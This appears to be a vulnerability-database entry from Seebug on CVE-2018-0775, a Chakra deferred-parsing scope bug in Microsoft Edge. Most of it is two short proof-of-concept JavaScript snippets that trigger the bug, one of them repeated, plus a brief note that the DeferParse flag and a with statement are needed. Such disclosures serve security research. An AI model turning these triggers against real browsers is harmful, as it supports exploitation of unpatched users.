Lucene search

K
seebugRootSSV:97097
HistoryJan 22, 2018 - 12:00 a.m.

Microsoft Edge: Chakra: Deferred parsing makes wrong scopes #2(CVE-2018-0775)

2018-01-2200:00:00
Root
www.seebug.org
29

0.96 High

EPSS

Percentile

99.3%

Since the PoC is only triggerable when the “DeferParse” flag enabled and requires a with statement, I think this is simillar to issue 1310 .

PoC:

// Enable the flag using '\n'.repeat(0x1000)
eval(`(function f() {
    with ({}) {
        (function () {
            print(f);
        })();
    }
}());` + '\n'.repeat(0x1000));

PoC 2:

// ./ch poc.js -ForceDeferParse
(function f() {
    with ({}) {
        (function () {
            print(f);
        })();
    }
}());

                                                // Enable the flag using '\n'.repeat(0x1000)
eval(`(function f() {
    with ({}) {
        (function () {
            print(f);
        })();
    }
}());` + '\n'.repeat(0x1000));